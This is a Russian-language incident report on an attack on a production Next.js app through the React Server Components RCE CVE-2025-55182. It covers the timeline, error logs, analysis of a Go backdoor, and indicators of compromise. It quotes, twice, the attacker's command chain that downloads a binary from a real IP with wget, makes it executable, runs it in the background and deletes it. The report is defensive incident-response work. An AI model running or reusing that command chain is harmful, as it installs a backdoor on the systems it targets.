
Анализ реальных атак на CVE-2025-55182 (React2Shell) — уязвимость удалённого выполнения кода (RCE) в React Server Components
Анализ реальной атаки на production-приложение Next.js
5 декабря 2025 года наше production-приложение Next.js подверглось атаке злоумышленников, эксплуатировавших CVE-2025-55182 (React2Shell) — критическую уязвимость удалённого выполнения кода (RCE) в React Server Components. В ходе атаки была предпринята попытка загрузить и запустить на нашем сервере Linux-троян типа backdoor.
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2025-55182 |
| Оценка CVSS | 9.8 (критическая) |
| Дата атаки | 5 декабря 2025 года |
| Результат атаки | ✅ Заблокирована (после установки патча) |
| Тип вредоносного ПО | Linux-троян типа backdoor |
| Затронутый стек | Next.js + React Server Components |
CVE-2025-55182, также известная как «React2Shell», — критическая уязвимость удалённого выполнения кода (RCE), затрагивающая React Server Components (RSC) в:
Уязвимость находится в функции renderToReadableStream() внутри Flight Server в React. При обработке специально сформированных RSC-полезных нагрузок сервер не выполняет должную санитизацию определённых входных данных, что приводит к произвольному выполнению кода.
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
Атакующий отправляет специально сформированный POST-запрос с вредоносной сериализованной полезной нагрузкой, которая десериализуется и выполняется на сервере.
| Время (UTC) | Событие |
|---|---|
| 5 дек., 06:20 | Первая атака обнаружена через Sentry |
| 5 дек., 06:20 | Полезная нагрузка пытается выполнить shell-команды |
| 5 дек., 06:20 | Атака частично успешна (до установки патча) |
Журнал ошибок Sentry (до установки патча):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| Время | Действие |
|---|---|
| 4 дек., 14:13 | Обновление до Next.js 16.0.7 |
| 4 дек., 14:13 | Развёрнута пропатченная версия (v1.0.0-beta-4) |
| Время (UTC) | Событие |
|---|---|
| 5 дек., 08:48 | Попытка атаки обнаружена |
| 5 дек., 08:48 | Выполнение полезной нагрузки ЗАБЛОКИРОВАНО |
| 5 дек., 08:48 | Ошибка: syntax error: unexpected ";" |
Журнал ошибок Sentry (после установки патча):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
Патч успешно предотвратил выполнение вредоносной команды.
| Атрибут | Значение |
|---|---|
| Целевой URL | https://[REDACTED]/ |
| Метод | POST |
| User-Agent | Python Requests 2.31 |
| Источник | Автоматизированный скрипт атаки |
Атакующий попытался выполнить следующую цепочку команд:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Разбор по шагам:
| Шаг | Команда | Назначение |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | Загрузка вредоносного ПО |
| 2 | chmod +x /tmp/vim | Сделать исполняемым |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | Запуск в фоне, сохранение после выхода из сессии |
| 4 | rm -f /tmp/vim | Удаление улик |
| Компонент | Версия |
|---|---|
| ОС | Alpine Linux 3.23.0 |
| Среда выполнения | Node.js v20.19.6 |
| Фреймворк | Next.js 16.0.7 (пропатчен) |
| Контейнер | Docker |
| Атрибут | Значение |
|---|---|
| Имя файла | vim (замаскирован под легитимный инструмент) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| Тип файла | ELF 64-bit LSB executable, x86-64 |
| Язык | Go (скомпилированный бинарный файл) |
| Размер файла | ~4.7 МБ |
Уровень обнаружения: 13/72 (18 %)
| Вендор | Имя обнаружения |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
Ссылка на VirusTotal: Просмотреть анализ
Заголовок ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Выявленные возможности:
| Возможность | Подтверждение |
|---|---|
| HTTP/HTTPS-клиент | net/http, *http.Client |
| TLS-шифрование | crypto/tls, crypto/aes |
| SOCKS5-прокси | socks, socks5 |
| DNS-резолвинг | net/dns/dnsmessage |
| Стойкая криптография | chacha20poly1305, Ed25519 |
Извлечённые строки (релевантные):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| Серьёзность | Правило | Источник |
|---|---|---|
| НИЗКАЯ | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| НИЗКАЯ | ET DNS Query for .cc TLD | Proofpoint ET Open |
Тип: Linux-троян типа backdoor
Возможности:
| Тип | Значение | Описание |
|---|---|---|
| IP-адрес | 45.76.155.14 | Сервер распространения вредоносного ПО |
| URL | http://45.76.155.14/vim | URL загрузки вредоносного ПО |
| Хостинг | Vultr VPS | Облачный провайдер |
| TLD | .cc | Домен C2 использует TLD .cc |
| Тип | Значение |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Рассчитать при необходимости] |
| MD5 | [Рассчитать при необходимости] |
| Имя файла | vim (замаскирован) |
| Тип файла | ELF 64-bit x86-64 |
| Размер файла | ~4.7 МБ |
| Индикатор | Описание |
|---|---|
wget на внешний IP | Загрузка с нестандартных URL |
Файлы в /tmp/ | Подозрительный исполняемый файл во временной директории |
nohup + фоновое выполнение | Попытка закрепления в системе |
| Немедленное удаление файла | Зачистка улик |
| User-Agent Python Requests | Инструмент автоматизированной атаки |